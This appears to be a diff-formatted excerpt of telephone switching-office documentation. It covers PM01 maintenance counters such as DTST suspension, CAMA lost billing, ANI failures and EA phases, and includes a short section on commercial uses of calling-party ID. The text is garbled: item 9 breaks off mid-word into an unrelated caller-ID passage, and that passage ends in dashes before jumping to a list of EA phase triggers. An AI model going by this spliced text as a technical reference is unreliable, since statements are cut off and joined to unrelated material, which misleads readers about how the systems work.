3-second and 11-second + delays. + + NOTE: + Maintenance personnel may find it necessary + to suspend the running of the DTST because in + certain trouble conditions DTST may generate + traffic that would interfere with maintenance + activities. Extended or frequent use of this + feature is not recommended. To discourage the + unnecessary use of this function, the PM01 output + message will include a one-line message alerting + maintenance personnel to it's use. + +6. CAMA Lost Billing (CAMA LOST BILLING): Counts the number of times a CAMA + call is handled but due to hardware failure, no AMA register is available + which is necessary for billing. + +7. CAMA ANI Failures (CAMA ANI FAILURES): Counts the number of calls for which + ANI failure digit is received. + +8. Receiver Attachment Delay (RCVR ATT DELAY): Counts the number of times a + receiver connection was not made in 4 seconds. + +9. Receiver Attachment Delay Recorder (RADR Inhibit Usage): Counts tR described. + +This is rather simple when you think about it and is one example of how a once +shattered network is working together. + +Some Sample CP ID Uses +---------------------- +This can be used by large telephone ordering companies to instantly display a +record of that persons credit, previous orders, etc... before the call is even +answered on the attendant's terminal. + +When someone logs onto a computer, the originating # is listed on the user log +along with the account name, etc... so that if--------- + +The software EA phases may be initiated by the following sources: + +1. A failure by the system to answer an interrupt request +2. An E-to-E cycle becoming excessive +3. An E-to-E priority class frequency failure +4. An excessive rate of interrupts +5. Two successive data validation failures +6. The time spent in a phase becoming excessive +7. Aborting of a phase + +The number of EA phases is printed on the PM01 output message. + +Interrupts +---------- + +The number of various maintenance interrupts provides a picture of nonroutine +maintenance action taken by the system. These interrupts are generally not as +serious as a higher order EA phase, but they do interrupt normal call +processing to correct possible hardware problems. A counts of these interrupts +will give a good indication of the state of the systems' equipment. This is +printed on the PM01 output message. + +Network Failures +---------------- + +The network failure counts are provided to give an indication of how well the +network is completing and terminating calls. Each time a network failure +occurs in the system an 'NT' output message is printed. The following are +printed as part of the PM01 message: + +1. Supervisory Scan failure (SUPF) +2. False cross and ground test failure (FCGF) +3. Ringing Current Failure (RC) +4. Low-line resistance failure (LLR) +5. Power Cross test (PX) +6. Restore verify failure count (RVFY) +7.
